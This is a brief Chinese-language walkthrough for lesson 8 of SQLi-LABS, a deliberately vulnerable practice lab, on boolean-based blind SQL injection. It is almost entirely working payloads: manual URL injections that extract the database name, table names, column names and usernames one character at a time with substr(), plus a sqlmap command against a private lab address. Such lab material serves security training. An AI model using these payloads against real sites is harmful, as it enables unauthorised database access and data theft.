[SQLi-LABS] Less-8

基于布尔型的盲注

手动:

/Less-8/?id=1'--+
/Less-8/?id=1'and (length(database()))>0--+
and substr((select database()),1,1)="s"
/Less-8/?id=1'and substr((select database()),1,1)="s"--+  //爆库
/Less-8/?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)="e"--+  //爆表
/Less-8/?id=1' and substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,1)="u"--+  //爆字段
/Less-8/?id=1' and substr((select group_concat(username) from security.users),1,1)="d"--+  //爆内容

自动:

sqlmap -u "192.168.174.20/Less-8/?id=1" --technique B  --dbs --batch